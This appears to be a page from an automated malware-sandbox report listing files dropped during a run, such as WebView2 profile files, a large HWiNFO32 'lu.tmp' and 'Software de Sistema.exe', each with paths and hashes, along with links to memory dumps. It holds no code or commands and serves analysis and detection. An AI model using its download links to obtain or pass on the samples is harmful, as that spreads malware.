MD5 b92ef4bfb2d56907aa68cc376fab81cc
SHA1 aaa716236b84a152e77cd8155a38806ebdbdc8a0
SHA512 92cb7717297da3a3049db2be922a833339eeee2dd967abba65cd30a283737a75cff3667626c156162d6e90f437d7d1f170d609dd54d74f8c6bf5007da63b3b03
SSDEEP 96:stF05k8js0Jb9QffHZ8i0vhEkklm/7qx+WVHMSm+uecadQjR+gP4MOB:stF0CF0UffZ8paW/S+Wi8dMd4MC
TLSH
T1A1D1A7075F68A9774CCBF619BA35BF42D2F5602226D50E98EBFC860C09E66CD130790B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Preferences~RFe597bed.TMP

Path C:\Users\Admin\AppData\Local\misge.WebView2B\EBWebView\Default\Preferences~RFe597bed.TMP
Size 5KB
SHA256 cee42861c9fb3b576b46ed71aa627c6e1233171d4a0768dcd984738ccebf1ed0
MD5 53e60bc6477958a883057897a74a7f4e
SHA1 83257800e46769094b69f5f2ed8cb273b8c9203c
SHA512 281eb26ef86dc41480afbf992be4366181eec25115f143cc57128583653e27e5a3f3ef3c2dbe558b2a171cca1680da97ec3b31a6b5981f7bf2ec901db123bc9b
SSDEEP 96:stF05k8js0Jb93ffTdZ8i0oEkklm/7qx+WVHMSm+uecadQjR+gO4MEB:stF0CF0zfRZ8pFW/S+Wi8dMg4M8
TLSH
T163C198075F68A97B4CCBF61D7A35BF42D2F6602166D50E58EBF8861C08D65CD130B90B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

index

Path C:\Users\Admin\AppData\Local\misge.WebView2B\EBWebView\Default\Shared Dictionary\cache\index
Size 24B
SHA256 fbcfe23a2ecb82b7100c50811691dde0a33aa3da8d176be9882a9db485dc0f2d
MD5 54cb446f628b2ea4a5bce5769910512e
SHA1 c27ca848427fe87f5cf4d0e0e3cd57151b0d820d
SHA512 8f6ed2e91aed9bd415789b1dbe591e7eab29f3f1b48fdfa5e864d7bf4ae554acc5d82b4097a770dabc228523253623e4296c5023cf48252e1b94382c43123cb0
MD5 SHA1 SHA512

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\misge.WebView2B\EBWebView\Local State
Size 4KB
SHA256 1d57767c77b0d2187dc1465adb80de2871d4e62b25a9342d11937a86318896ff
MD5 fd8414ba7071e299217c591afa2be6a2
SHA1 b39220015332c1d0aa8ac6ff7e2ec7176a530b1f
SHA512 635ae8d50cb6bdc8086537cb62951284635713e8b878e9ea798c27fd4ebc335ef94bb74d5ae64ddb3581b556ca7614a958443b03ecc20ee881929127837a42a9
SSDEEP 96:zu+bNkCb17PpfcLkswV58Frh/cInURoDotoi5FwDMB/Z+6KjZIhTXlIa:z/bNbBPGldooDUDDGA/Z59V
TLSH
T185819527A868AA378DF6E944B94A3B0776615027D5997FE8DEED0F0C01DB29C1302C13
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\misge.WebView2B\EBWebView\Local State
Size 17KB
SHA256 efdc9cf680be912fe8598940ad1f8c4790b553098542dadf7f5f839f09214526
MD5 0dc08844b4fa87b232785678d98eafb6
SHA1 0ee689f93a240414335e9ac83d134daa7429010c
SHA512 0aeee374134972c33479f4f81a077a9af1eab444de7f77146722a849517ce10a78345bdc15cc31b88c6e03d468c70d766fa28a282a7d80f3ebeeb5c0b32f4934
SSDEEP 384:z8fRE5BdEZfr0kuh9Rt/nP9yxNbBPu74b7Ict70uvQ5:0RkurqhNsNPLbnt7dQ5
TLSH
T15B727C32D831DA37ACEB8246390A7B07A5B4854956DA6AD4ADCD2F0C06C76AE0353C23
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\misge.WebView2B\EBWebView\Local State
Size 1KB
SHA256 53c10e38e587eb71cfb1f01588b1bd0c339a84c275e89d47d8d62e1d14ad6195
MD5 8e4b2a194de9ced135fd22fd90117714
SHA1 0bf25af688c8aec751b9cc337a14cf680aa8a378
SHA512 20a09a6b835504caac1c1f8d1efd2df16f365627e12643660b9ea3b1e107350ca9e434860b46803157d86d2d4370a06b43a57968761b28c8e7f2b576f8af219a
TLSH
T1E331A9B7F8543733A892764175473E5B2D31142AC225AD94BACD470C02D71DC992FC33
MD5 SHA1 SHA512 TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\misge.WebView2B\EBWebView\Local State
Size 2KB
SHA256 69d5c1655829d1a92d37536488e3aa6f20e414418c121c8c6a1499c95d2f4467
MD5 b792a3181ab4c5e2f54237e3cbfe8112
SHA1 e29edf911288145ce7aa1ab9c445f049c4ea0988
SHA512 bf74fb6250abc5fe5a8fe64fc6748bb53b7aaa557541f92781e27fc8919d19f82ea8d8de79d325097296a834ed255572963f499f2e598732ee7dc04e650aef11
TLSH
T12251A573FC08A77785F7AA40794A3F176A355565C6663FA0AEDD0B0C01DB1AC2306C67
MD5 SHA1 SHA512 TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\misge.WebView2B\EBWebView\Local State
Size 3KB
SHA256 dfb8fe0ca2bee8f95bb2d7e788083614b8bb98cb7dc99ca260c31dad727366c1
MD5 d0d24bf0087c380746e46d2ebfe12f3b
SHA1 63ba0fd47a8ac9d079647b628ae4fcdb03b74c4f
SHA512 a9b206c2adfd3bde222068ad50a7961da24036edaed763a10b0e561d9f60908be78fa1340afc596000123c1f42e67d86123d7bc6d4a15ae724a8b179e751533c
TLSH
T18C71857BB868A6374DF6AA40B88A2B1776651127D5997FA8DAEC0F0C01DB29C1342C17
MD5 SHA1 SHA512 TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\misge.WebView2B\EBWebView\Local State
Size 4KB
SHA256 e670146f5627627c93a41f245071de4b6b12913d4443b26abab0c85e0cadac7b
MD5 5f6a963c4a0f73dcda0b9270767377e8
SHA1 67a63f55c7a530a21ee2027d2efb3a33fe58891e
SHA512 0f0adabccb5997a7580e4129fbaa49fdbd0d5512bf9ea8e3b5980b4e3933b9a5424daf878033929f01cab1c5b8095fb3581242b8d46cc98f7e7b7fb729109f2d
SSDEEP 96:zu+bNkCE7PpfcLkswV58Frh/cInURoDotoi5FwDMB/Z+6KjZIhTXlIa:z/bNb+PGldooDUDDGA/Z59V
TLSH
T1E0819537A868AA378DF6E944B98A3B0776655027D5997FE8DEED0F0C01DB29C1302C17
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State~RFe58dcee.TMP

Path C:\Users\Admin\AppData\Local\misge.WebView2B\EBWebView\Local State~RFe58dcee.TMP
Size 1KB
SHA256 dd652876a50bbf8ae18b729c99ec729f0b8e85efb48e27c8484859de2e1cec28
MD5 0eb0e5ae96a4703604addb189c04411f
SHA1 6e95ab13369b96fb1e04c9795722723e209a502e
SHA512 0d26294c2b00635cf6256fa6e06fa864426f6065c5a818e6af305b0cfc842c53fa2ba53eff14ae3b4d18f59380e722ed408cb35b55ef77ddf3079883f467a074
TLSH
T14921877BF8483777A565654075477B8F2D20157AC228ED58B9CD471C02DB4EC8A2BC73
MD5 SHA1 SHA512 TLSH

Submit Download

WebView2Loader.dll

Path C:\Users\Admin\AppData\Roaming\HWiNFO32\WebView2Loader.dll
Size 113KB
SHA256 cd2f07e47e98e52472bd744912edc9e9e645b544f5e612e2f38f89b7acb1e064
MD5 25473edbafc8f33413bcb284d79d30ff
SHA1 f64da5ddb853c4275a3da0cb6036216d93decb25
SHA512 8589ef4175d674a623b9d0b44dbf357417610eecb939fb494bad32f04c25fcf51855545eb25187266ead60d7cd72dd7f212f6019d4055d2e88d746bfbe8b5980
SSDEEP 3072:wnbFYqJx7sXRq2KVs9iiamgqeNZPTn7EtJlAlH5bgf4fmFf:wZYqJx4gkYiabEtJe9K2mV
TLSH
T1B0B35B5176D08072E5BE0A380874DB755B3F79A0DFA09DEB67841AA94F317C08E35E2E
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

lu.tmp

Path C:\Users\Admin\AppData\Roaming\HWiNFO32\lu.tmp
Size 43.3MB
SHA256 aa4d133a7b343715dee0c41dc6d5fb4a8c5152ddc26188a6829be45df15d6ee9
MD5 7929f22118a09b9ea6b9ce3c04bdac27
SHA1 471de8830634eb1d8a0b4d388afc684aa928fa23
SHA512 7bad92c3f167c71f6de63308b308bc74d65d25034a86d7e2904435919ef20ea8a728bc601915e90795c66441c9c447ed586b90f2d476c3da393db8a32d0f2b36
SSDEEP 786432:U7UYQJn4InVRauxU8IR3kcu5lpmFM2wfk03Cl/nH+w8260Y1X6IT/ZjAmUaxlzMc:ZlbnSu68eQmFM2Bl/nH+UhYh6YhjAmUW
TLSH
T178A7331953F720CAD006B9B9397B53D3113169ADA8484FE190D6E7FDF81340AEA12F9E
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

update.log

Path C:\Users\Admin\AppData\Roaming\HWiNFO32\update.log
Size 1011B
SHA256 1c0b19b9d12b3e93b8f13c3e4cbd8542f7c1b945611c38c1b19c284bddf8ae5e
MD5 6813fa7f055d9ee10193bdda53d935e2
SHA1 076e0e5f62a82e287dfddeaae30320350dace4f2
SHA512 2823a2f8cd5dc989c2d64af3df2df50d8ce5beae54da9de5f586820afcdf25bc55b06fece406637af0d3cb9afba66ecf761fdf02b40a166b711dbc05c4763e77
TLSH
T1F2110A7FC2F559C5ECD0524152958C469A13BB992BBC13D53E39C1969056F4DBE8C30C
MD5 SHA1 SHA512 TLSH

Submit Download

Software de Sistema.exe

Path C:\Users\Admin\AppData\Roaming\Software de Sistema\Software de Sistema.exe
Size 50KB
SHA256 14470d9974f5a2353d1a90a850f6d5e2e3b2eecfe6db44e3b2133c5762681cdd
MD5 71aa390ea34d15da11c7d459671dcbc4
SHA1 3decc6b663f443d8e577ca951ef73abcac773538
SHA512 72677086ae5de47625e2a3ebddd159addf9115c3f32b1e5b8fcaadfca5e8f192d5cab593d65d2755dc1dbd60603fdda625b1c30a64810fcf85d62a7115850f40
SSDEEP 768:rIqOQToay6jtLo4oWpxPrJJlKNbDgOZuA25zv+D1ednEZndfXpUJZvi:rIqOQTnycNxTJJlKJgPA0aRedn0l
TLSH
T1ED338DC4B90B70F1D94104B08D87F57D8139C6101417CEA3FB6FCB69BA63A266FC922A
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

MSI54E1.tmp

Path C:\Windows\Installer\MSI54E1.tmp
Size 68KB
SHA256 4e9b36ca397fcd7ef60b4248581da8e8cb3be705c3878d1d755b1db2fc15ddc1
MD5 7114d3e270e199e6d82535383b544fe1
SHA1 9f8e10b5d2ae10328365d6ea09d184a38b39fc7f
SHA512 496c0b303cc0a764363bf836e0375a8ab4c1090327d0f0a6b73dba11ea7acecffb413359f4c9a663eeed3f0eb87cb1e0656e39229185f66457ce0595f6c400e4
SSDEEP 768:xTyyfAz4QHjImpjd3yKKIv27rdOhaquA25zv+D1ednEZndfXpUJZv:1dAzXjImpjdifIve4ZuA0aRedn0
TLSH
T19163E0863086C763C4810A30D9A1DFEA4A79BC40DD77876B39A8FB9C5CFD1849A191DB
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

memory/716-756-0x0000022882DD0000-0x0000022882E00000-memory.dmp

Download

memory/1500-516-0x0000020C47020000-0x0000020C470BB000-memory.dmp

Download

memory/1500-327-0x00007FFC59B00000-0x00007FFC59B01000-memory.dmp

Download

memory/2356-822-0x0000025F0E260000-0x0000025F0E290000-memory.dmp

Download

memory/2976-82-0x000000000CB10000-0x000000000CBE3000-memory.dmp

Download

memory/2976-81-0x00000000000F0000-0x00000000047A8000-memory.dmp

Download

memory/3164-487-0x0000020965C20000-0x0000020965C2C000-memory.dmp

Download

memory/3164-670-0x000002096CC60000-0x000002096CC9B000-memory.dmp

Download

memory/3164-669-0x000002096CC30000-0x000002096CC57000-memory.dmp

Download

memory/3164-486-0x0000020965BE0000-0x0000020965C0C000-memory.dmp

Download

memory/3332-766-0x00000000000F0000-0x00000000047A8000-memory.dmp

Download

memory/3332-801-0x00000000000F0000-0x00000000047A8000-memory.dmp

Download

memory/3332-533-0x00000000000F0000-0x00000000047A8000-memory.dmp

Download

memory/3332-548-0x00000000000F0000-0x00000000047A8000-memory.dmp

Download

memory/3332-563-0x00000000000F0000-0x00000000047A8000-memory.dmp

Download

memory/3332-482-0x00000000000F0000-0x00000000047A8000-memory.dmp

Download

memory/3332-152-0x000000000CB50000-0x000000000CC23000-memory.dmp

Download

memory/3332-829-0x00000000000F0000-0x00000000047A8000-memory.dmp

Download

memory/3332-661-0x00000000000F0000-0x00000000047A8000-memory.dmp

Download

memory/3332-865-0x00000000000F0000-0x00000000047A8000-memory.dmp

Download

memory/3332-113-0x00000000000F0000-0x00000000047A8000-memory.dmp

Download

memory/3332-610-0x00000000000F0000-0x00000000047A8000-memory.dmp

Download

memory/3332-626-0x00000000000F0000-0x00000000047A8000-memory.dmp

Download

memory/3492-727-0x000001F51C1B0000-0x000001F51C1E0000-memory.dmp

Download

memory/3540-861-0x000002A711FD0000-0x000002A712000000-memory.dmp

Download

memory/3588-47-0x000001ECE1740000-0x000001ECE174C000-memory.dmp

Download

memory/3588-45-0x000001ECE0B50000-0x000001ECE0BFC000-memory.dmp

Download

memory/3588-46-0x000001ECE1720000-0x000001ECE1737000-memory.dmp

Download

memory/4324-517-0x000001359EC40000-0x000001359ECDB000-memory.dmp

Download

memory/4612-496-0x000001BF7AC50000-0x000001BF7ACEB000-memory.dmp

Download

memory/4620-497-0x000001EA71410000-0x000001EA714AB000-memory.dmp

Download

memory/4620-153-0x00007FFC59B00000-0x00007FFC59B01000-memory.dmp

Download

memory/4780-29-0x000001A3851E0000-0x000001A38528C000-memory.dmp

Download

memory/4876-274-0x00007FFC5B180000-0x00007FFC5B181000-memory.dmp

Download

memory/4876-273-0x00007FFC59A10000-0x00007FFC59A11000-memory.dmp

Download

memory/4876-498-0x000001D34FDD0000-0x000001D34FE00000-memory.dmp

Download

memory/4980-499-0x0000023402D30000-0x0000023402D60000-memory.dmp

Download

memory/5196-485-0x0000025B02F40000-0x0000025B02F4C000-memory.dmp

Download

memory/5196-484-0x0000025B02F00000-0x0000025B02F2C000-memory.dmp

Download

memory/5196-665-0x0000025B09E30000-0x0000025B09E57000-memory.dmp

Download

memory/5196-666-0x0000025B0AA70000-0x0000025B0AAAB000-memory.dmp

Download

memory/5220-64-0x00000000000F0000-0x00000000047A8000-memory.dmp

Download

memory/5220-80-0x000000000CB30000-0x000000000CC03000-memory.dmp

Download

memory/5220-79-0x00000000000F0000-0x00000000047A8000-memory.dmp

Download

memory/5560-63-0x0000000005110000-0x00000000051AF000-memory.dmp

Download

memory/5776-31-0x0000020379910000-0x000002037991C000-memory.dmp

Download

memory/5776-30-0x00000203795F0000-0x000002037969C000-memory.dmp

Download